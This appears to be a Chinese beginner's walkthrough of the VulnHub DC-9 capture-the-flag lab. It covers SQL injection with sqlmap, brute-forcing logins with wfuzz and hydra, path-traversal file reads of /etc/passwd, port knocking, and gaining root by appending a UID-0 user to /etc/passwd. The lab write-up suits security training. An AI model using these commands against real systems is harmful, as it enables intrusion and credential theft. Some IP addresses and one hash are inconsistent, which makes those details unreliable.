vulnhub-DC-9靶机渗透记录(适合新手详细版)

DC :9

靶机下载地址:

https://download.vulnhub.com/dc/DC-9.zip

在虚拟机安装好后网络设置为NAT模式

扫描局域网内的C段主机(主机发现)

先扫描靶机IP:

命令:

nmap -sP 192.168.159.1/24

或者:

netdiscover -p 来扫描靶机ip

发现靶机ip

192.168.159.128

扫描端口获得运行的服务

扫描靶机端口

命令:

nmap -sP 192.168.159.1/24

 发现开启了80端口,代表我们可以用ip进入网址

进行目录扫描

dirb http://192.168.159.128/

或者

nikto -host 192.168.159.128

URL_BASE:

​http://192.168.159.137/​

WORDLIST_FILES:

 /usr/share/dirb/wordlists/common.txt

SQL注入

访问

192.168.159.129

在搜索栏输入万能密码 

' or 1=1 --+

 发现可以成功注入

发现可以SQL注入

寻找SQL注入的方式和表单

发现表单是:search

注入的方式是 POST

sqlmap

使用sqlmap一把梭

命令:

sqlmap -u "http://192.168.159.129/results.php" --data="search=1"

确实存在sql注入

现在开始拿库名,表名,列名,数据库

命令:

sqlmap -u "URL" --data="search=1" --current-db

sqlmap -u "http://192.168.159.129/results.php" --data="search=1" --current-db

当前使用的数据库就叫做 Staff

找一下有没有别的库

命令:

sqlmap -u "URL" --data "表单名和值 --dbs

sqlmap -u "http://192.168.159.129/results.php" --data "search=1" --dbs

发现他有三个库

information_schema (系统库)

Staff

users

先去爆破用户表

命令:

sqlmap -u "URL" --data "表名和值" -D 数据库名称 --tables

sqlmap -u "http://192.168.159.129/results.php"  --data  "search=1"  -D users --tables

发现有一个叫做UserDetails的表

拿到它的数据

命令:

sqlmap -u "URL" --data "表单名和值" -D 数据库名 -T 数据表名--dump

sqlmap -u "http://192.168.159.129/results.php"  --data  "search=1"  -D users -T UserDetails --dump

把用户和密码做成字典

tip:

用Notepad++ 按住alt 复制下来

再用ctrl +h 把空格替换掉

用做好的字典尝试爆破manager

先看是网页怎么传参的 输入 1

发现也是POST

wfuzz爆破

wfuzz

使用wfuzz来爆参数

命令:

wfuzz -z file,用户名字典 -z file,密码字典"http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z "

因为有两个表单前面用FUZZ后面要用FU2Z

wfuzz -z file,user-dict -z file,pass-dict  "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z "

发现大部分返回是一样的,现在要过滤掉87个单词的

命令:

wfuzz -z file,,用户名字典 -z file,密码字典 --hw 筛选单词的数量 "http://192.168.159.129/manage.php?username=FUZZ&password=FUZ2Z "

wfuzz -z file,user-dict -z file,pass-dict --hw 87  "http://192.168.159.129/manage.php?username=FUZZ&password=FUZ2Z "

 并没有什么有价值的

所以后台管理系统的用户名和密码并不在这个库的这个表里面

现在开始爆破Staff库下面的表

命令:

sqlmap -u "URL" --data "表单名和值" -D 数据库名称 -T 数据表的名称 --dump

sqlmap -u "http://192.168.159.129/results.php"  --data  "search=1"  -D Staff -T Users --dump

发现了一个哈希加密的,sqlmap问我们是不是要用它自带的工具去撞一下这个Hash

 直接无脑Y(bushi)

得到用户名密码

 用户名:

admin

密码:

transorbital1

用这个用户名和密码登入我们的网址

登入成功

发现一个提示 

File does not exist

肯定是通过查了一个参数去访问本地文件,本地文件找不到才会有这个

猜想它存在任意文件访问漏洞(LFI local file inclusion)

其实这道题是用ssh连接的,此处只是提供思路,需要看结题过程的可以直接跳到ssh爆破处

任意文件访问漏洞(LFI local file inclusion)

LFI local file inclusion知识点:

1 File does not exist

2如果是这个漏洞会是这个请求参数

 http://192.168.159.129/manage.php?parrameter=filename

现在不知道他的参数是多少

先保存一下登入进去界面的COOKIE按F12

PHPSESSID=372gmcu7rgrq8jmv4dktjqg28t

再用FUZZ寻找参数

命令:

wfuzz -b 'PHPSESSID=cookie的值' -w /usr/share/wfuzz/wordlist/general/common.txt(payload) URL

wfuzz -b 'PHPSESSID=372gmcu7rgrq8jmv4dktjqg28t' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.129/manage.php?FUZZ=index.php

 发现有很多参数,过滤掉100字符的

命令:

wfuzz --hw 100(过滤字符数量) -b 'PHPSESSID=cookie值' -w /usr/share/wfuzz/wordlist/general/common.txt (payload) URL

wfuzz --hw 100  -b 'PHPSESSID=372gmcu7rgrq8jmv4dktjqg28t' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.129/manage.php?FUZZ=index.php

发现还是没有

可能的两个原因

1 字典不够强大

2 路径格式不对

3 有可能参数名的正确与否没有区别,文件名的正确与否才有区别

所以我们要用一个正确的文件路径,也可以使用多个../跳到主目录的方式

访问:

URL?file=../../../../../../../../../../../etc/passwd

http://192.168.159.129/manage.php?file=../../../../../../../../../../../etc/passwd

成功得到passwd这个敏感文件,验证这个漏洞是存在,并且参数是file

发现这个操作系统的用户名和密码是users数据库的 UserDetails用户和密码

用做好的字典爆破ssh的端口(之前发现的)

ssh爆破

我们要使用一款名为hydra的工具

hydra

命令:

hydra -L 用户名字典-P 密码字典 攻击的ip地址 ssh

hydra -L user-dict -P pass-dict 192.168.159.129 ssh

直接爆破是访问不了的可能原因如下

1.可能字典里面的全部用户都不可以连接ssh(根据我们之前推测排除) 

 2.可能是配置了knockd的敲门服务列表的端口都要敲一次门 22端口才会打开

所以我们现在要寻找敲门端口的文件,要敲门的端口写在这个文件:/etc/knockd.conf

利用文件包含漏洞访问

访问:

URL?file=../../../../../../../../../../../etc/knockd.conf

192.168.159.129?file=../../../../../../../../../../../etc/knockd.conf

得到

 我们要敲门的端口:

7469,8475,9842

使用nmap来访问

查看22端口状态

发现他是可以连接的,但是有过滤

22/tcp filtered ssh 该端口有过滤的意思

现在开始敲门

knockd 

命令:

nmap -p 端口 ip

nmap -p 7469 192.168.159.129

nmap -p 8475 192.168.159.129

nmap -p 9842 192.168.159.129

或者

for x in 7469 8475 9842; do nc 192.168.159.129 $x;done

敲完后查看端口情况 

命令:

nmap -sV -A ip -p 22

nmap -sV -A 192.168.159.129 -p 22

再去打开22端口

nmap -p 22 192.168.159.129

 成功打开22端口

第二次爆破ssh

hydra -L user-dict -P pass-dict 192.168.159.129 ssh

得到三个用户名和密码

chandlerb: UrAG0D!

joeyt: Passw0rd

janitor: Ilovepeepee

用这三个用户名和密码登入系统

普通账户提权

SSH 22开放 登入其他账户

命令:

ssh 用户名@ip地址

ssh janitor@192.168.159.129 

 发现了一个隐藏的文件夹 

cd .secrets-for-putin

ls -a

进入之后又发现了一堆密码

查看密码命令:

cat passwords-found-on-post-it-notes.txt

得到的新的密码再加进去之前pass-dict文件里面,改名为pass-dict1

我们再连接一下janitor和chandlerb的ssh,发现它们也都没有sodu -l 权限

利用新得到的密码再去爆破一次ssh

命令:

hydra -L user-dict -P pass-dict1  ssh://192.168.159.129

 又得到两个用户名和密码

fredf password: B4-Tru3-001

joeyt password: Passw0rd

连接fredf ssh

命令:

ssh fredf@192.168.159.129 

查看有无sudo -l权限 

sudo -l

发现fredf可以以root的身份执行

(root) NOPASSWD: /opt/devstuff/dist/test/test

看一下他是什么文件:

命令:

file /opt/devstuff/dist/test/test

发现他是可执行文件

进去它的文件夹执行他

命令:

cd /opt/devstuff/dist/test/
./test

发现它是一个python文件

文件的意思是,读取第一个文件追加到第二个文件上

就有了可以往任意一个文件里面写入任意内容

利用find指令找到这个python文件

命令:

find / -name "test.py" 2>/dev/null

find / -name "test.py" 2>/dev/null(这段话的意思是寻找叫做test.py的文件并省略报错)

找到了两个文件,打开后发现是第一个文件

/opt/devstuff/test.py

查看他

代码审计过后发现这个是用来写入文件的一个python程序,说明我们可以以root权限写入任意一个文件

所以我们接下来要以root权限在/etc/passwd中写入一个具有root权限的用户即:

写入一个用户的 UID=GID=0 —>拥有root权限

因为在/etc/passwd中的密码都是加密过的,我们也要设计一个加密的密码,不设置密码也是可以的

设置密码

命令:

openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin(用户名) 123456(明文密码)

openssl passwd -1 -salt admin 123456

 生成密码:

1admin$LClYcRe.ee8dQwgrFc5nz.

先把这些写入临时文件,再用test.py读取文件,追加到passwd里面

命令:

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash' >>/tmp/passwd

查看/tmp/passwd文件判断我们是否成功加入用户

命令:

cat /tmp/passwd

发现它存在

用test.py读取文件,追加到/etc/passwd里面

命令:

sudo ./test(执行的程序) /tmp/passwd(读取的文件) /etc/passwd(追加的文件)

sudo ./test /tmp/passwd /etc/passwd

切换到admin

命令:

su admin

 进入root的专属目录查看flag

cd /root
ls -a

拿到flag

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值